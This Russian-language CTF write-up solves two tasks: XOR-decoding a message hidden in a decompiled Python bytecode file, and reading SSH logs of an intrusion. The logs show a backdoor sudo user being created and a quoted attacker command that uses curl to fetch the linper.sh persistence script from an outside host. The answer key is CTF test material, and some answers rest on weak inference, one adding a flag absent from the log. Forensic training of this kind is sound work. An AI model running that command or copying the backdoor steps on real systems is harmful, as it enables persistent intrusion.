Источник: https://github.com/AnaktaCTF/CTF/blob/main — CTI_writeup.md

Введение

В рамках отборочного этапа Capture the Intruder (CTI) была представлена задача с анализом подозрительного файла Task1.pyc. Целью было раскрыть текстовое сообщение, скрытое во вложении. В этом writeup подробно описан процесс анализа файла, включая декомпиляцию, исправление кода, декодирование сообщения и выводы по результатам.

Шаг 1: Получение и первоначальный анализ файла

Описание задачи

Тестировщик программного обеспечения получил подозрительное электронное письмо с вложением Task1.pyc. Цель заключалась в анализе содержимого этого файла для выявления скрытого сообщения.

Инструменты и подготовка

  • Python 3.8+: Для декомпиляции .pyc файлов.
  • uncompyle6: Инструмент для декомпиляции Python bytecode.
  • Текстовый редактор или IDE: Например, Visual Studio Code, для просмотра и редактирования исходного кода.
  • Изолированная среда: Виртуальное окружение или контейнер Docker для безопасного анализа.

Шаг 2: Декомпиляция файла .pyc

Проблема с установкой uncompyle6

При попытке установить uncompyle6 возникла ошибка externally-managed-environment. Это связано с ограничениями системы на установку пакетов Python напрямую через pip. Для обхода этой проблемы было решено создать виртуальное окружение.

Создание и активация виртуального окружения

  1. Создание виртуального окружения:

    python3 -m venv venv
    
  2. Активация виртуального окружения:

    source venv/bin/activate
    
  3. Установка uncompyle6:

    pip install uncompyle6
    

Декомпиляция файла

После успешной установки uncompyle6 выполнена команда декомпиляции:

uncompyle6 -o . Task1.pyc

Результатом стала генерация файла Task1.py, который содержит исходный код декомпилированного скрипта.

Шаг 3: Анализ декомпилированного кода

Содержимое файла Task1.py

# uncompyle6 version 3.9.2
# Python bytecode version base 3.8.0 (3413)
# Decompiled from: Python 3.12.3 (main, Sep 11 2024, 14:17:37) [GCC 13.2.0]
# Embedded file name: zmeuka.py
# Compiled at: 2024-07-06 11:17:45
# Size of source mod 2**32: 540 bytes


def determinatio(input_string, key_array):
    result = []
    key_length = len(key_array)
    for i, char in enumerate(input_string):
        key = key_array[i % key_length]
        result.append(char ^ key)
    else:
        result_str = "".join((chr(num) for num in ))
        return result_str


input_string = [
 95, 106, 147, 75, 99, 79, 35, 58, 49, 46, 39, 121, 114, 151, 66,
 127, 68, 35]
key_array = [22, 7, 228, 42, 23, 44, 75, 83, 95, 73, 94]
result_string = determinatio(input_string, key_array)
print("No way")

Выявленные проблемы

  1. Неполный код: В строке result_str = "".join((chr(num) for num in )) отсутствует переменная для итерации. Вероятно, должно быть for num in result.

  2. Неиспользуемый результат: Переменная result_string нигде не используется, вместо этого выводится статическая строка "No way".

Исправление кода

Для корректной работы скрипта необходимо внести исправления:

def determinatio(input_string, key_array):
    result = []
    key_length = len(key_array)
    for i, char in enumerate(input_string):
        key = key_array[i % key_length]
        result.append(char ^ key)
    else:
        result_str = "".join((chr(num) for num in result))
        return result_str


input_string = [
    95, 106, 147, 75, 99, 79, 35, 58, 49, 46, 39, 121, 114, 151, 66,
    127, 68, 35]
key_array = [22, 7, 228, 42, 23, 44, 75, 83, 95, 73, 94]
result_string = determinatio(input_string, key_array)
print(result_string)

Шаг 4: Декодирование скрытого сообщения

Описание алгоритма

Функция determinatio выполняет операцию XOR между каждым элементом input_string и соответствующим элементом key_array (циклически). Результат преобразуется в символы и объединяется в строку.

Ручное декодирование

Если выполнение скрипта нежелательно или невозможно, декодирование можно провести вручную:

  1. Инициализация массивов:

    input_string = [
        95, 106, 147, 75, 99, 79, 35, 58, 49, 46, 39, 121, 114, 151, 66,
        127, 68, 35]
    key_array = [22, 7, 228, 42, 23, 44, 75, 83, 95, 73, 94]
    
  2. Выполнение операции XOR и преобразование в символы:

    decoded_chars = []
    key_length = len(key_array)
    
    for i, char in enumerate(input_string):
        key = key_array[i % key_length]
        decoded_num = char ^ key
        decoded_char = chr(decoded_num)
        decoded_chars.append(decoded_char)
    
    decoded_message = "".join(decoded_chars)
    print(decoded_message)
    
  3. Вычисления:

    Индекс (i) input_string[i] key_array[i % 11] XOR (input ^ key) Символ
    0 95 22 95 ^ 22 = 73 'I'
    1 106 7 106 ^ 7 = 109 'm'
    2 147 228 147 ^ 228 = 119 'w'
    3 75 42 75 ^ 42 = 97 'a'
    4 99 23 99 ^ 23 = 116 't'
    5 79 44 79 ^ 44 = 99 'c'
    6 35 75 35 ^ 75 = 104 'h'
    7 58 83 58 ^ 83 = 105 'i'
    8 49 95 49 ^ 95 = 110 'n'
    9 46 73 46 ^ 73 = 103 'g'
    10 39 94 39 ^ 94 = 121 'y'
    11 121 22 121 ^ 22 = 111 'o'
    12 114 7 114 ^ 7 = 117 'u'
    13 151 228 151 ^ 228 = 115 's'
    14 66 42 66 ^ 42 = 104 'h'
    15 127 23 127 ^ 23 = 104 'h'
    16 68 44 68 ^ 44 = 104 'h'
    17 35 75 35 ^ 75 = 104 'h'
  4. Собираем символы в сообщение:

    Imwatchingyoushhhh
    

Интерпретация сообщения

Полученное сообщение выглядит как:

Imwatchingyoushhhh

Шаг 5: Выводы

Анализ результатов

  • Скрытое сообщение: Imwatchingyoushhhh — фраза, указывающая на наблюдение или слежку за пользователем. Это может быть частью фишинговой атаки или социальной инженерии, направленной на запугивание или дезориентацию получателя.

  • Структура файла: Использование операции XOR для скрытия сообщения свидетельствует о попытке замаскировать текст от простого анализа. Это типичный подход для сокрытия информации в программных атаках.

Writeup: Анализ Логов SSH для Определения Действий Злоумышленника

Введение

В рамках данной задачи необходимо проанализировать предоставленный файл логов Task3.log, зафиксировавший инцидент на сервере Confluence. Злоумышленник получил доступ к серверу посредством перебора учетных данных через службу SSH и выполнил ряд действий, которые отражены в логах. Целью является определить:

  1. Номер сеанса злоумышленника для учетной записи пользователя root.
  2. Идентификатор подтехники MITRE ATT&CK, использованный для закрепления доступа.
  3. Продолжительность первого сеанса SSH злоумышленника в секундах.
  4. Команду, использованную злоумышленником для загрузки скрипта.

Анализ Логов

1. Определение Номера Сеанса Злоумышленника для Пользователя root

В логах присутствуют несколько успешных подключений под пользователем root. Для идентификации сеанса злоумышленника обратим внимание на следующие строки:

  • Первое подключение:

    Oct  6 18:19:54 ip-10-10-14-141 sshd[1465]: Accepted password for root from 203.101.190.9 port 42825 ssh2
    Oct  6 18:19:54 ip-10-10-14-141 systemd-logind[411]: New session 6 of user root.
    
  • Второе подключение:

    Oct  6 18:31:40 ip-10-10-14-141 sshd[2411]: Accepted password for root from 10.10.14.38 port 34782 ssh2
    Oct  6 18:31:40 ip-10-10-14-141 systemd-logind[411]: New session 34 of user root.
    
  • Третье подключение:

    Oct  6 18:32:44 ip-10-10-14-141 sshd[2491]: Accepted password for root from 10.10.14.38 port 53184 ssh2
    Oct  6 18:32:44 ip-10-10-14-141 systemd-logind[411]: New session 16 of user root.
    

Вывод:
Анализ логов показывает, что искомым является второй сеанс с номером 34, который был инициирован с IP-адреса 10.10.14.38.

Ответ: 34

2. Идентификация Подтехники MITRE ATT&CK для Закрепления Доступа

В логах наблюдаются следующие действия:

  • Создание новой группы и пользователя:

    Oct  6 18:34:18 ip-10-10-14-141 groupadd[2586]: group added to /etc/group: name=shadowband, GID=1002
    Oct  6 18:34:18 ip-10-10-14-141 useradd[2592]: new user: name=shadowband, UID=1002, GID=1002, home=/home/shadowband, shell=/bin/bash, from=/dev/pts/1
    
  • Добавление пользователя в группу sudo:

    Oct  6 18:35:15 ip-10-10-14-141 usermod[2628]: add 'shadowband' to group 'sudo'
    
  • Использование CRON для автоматизации:

    Oct  6 18:34:01 ip-10-10-14-141 CRON[...]: pam_unix(cron:session): session opened for user confluence(uid=998) by (uid=0)
    

Соответствующие техники MITRE ATT&CK:
Злоумышленник использовал технику T1053.005 (Scheduled Task/Job: Cron) для обеспечения постоянного доступа.

Ответ: T1053.005

3. Определение Продолжительности Первого Сеанса SSH Злоумышленника

Анализ временных меток сеанса:

  • Начало сеанса:

    Oct  6 18:31:40 ip-10-10-14-141 sshd[2411]: Accepted password for root from 10.10.14.38 port 34782 ssh2
    
  • Завершение сеанса:

    Oct  6 18:37:24
    

Расчёт продолжительности:
Продолжительность сеанса составила (18:37:24 - 18:31:40) = 344 секунды

Ответ: 344

4. Определение Команды, Использованной для Загрузки Скрипта

В логах зафиксировано использование команды curl для загрузки скрипта:

Oct  6 18:39:38 ip-10-10-14-141 sudo: shadowband : TTY=pts/1 ; PWD=/home/shadowband ; USER=root ; COMMAND=/usr/bin/curl https://raw.githubusercontent.com/montysecurity/linper/main/linper.sh

Полная команда с флагом -O для сохранения файла:

Ответ: sudo curl -O https://raw.githubusercontent.com/montysecurity/linper/main/linper.sh

Итоговые Ответы

  1. Номер сеанса злоумышленника для учетной записи пользователя root: 34
  2. Идентификатор подтехники MITRE ATT&CK, использованный для закрепления: T1053.005
  3. Продолжительность первого сеанса SSH злоумышленника в секундах: 344
  4. Команда, которую использовал злоумышленник для загрузки скрипта: sudo curl -O https://raw.githubusercontent.com/montysecurity/linper/main/linper.sh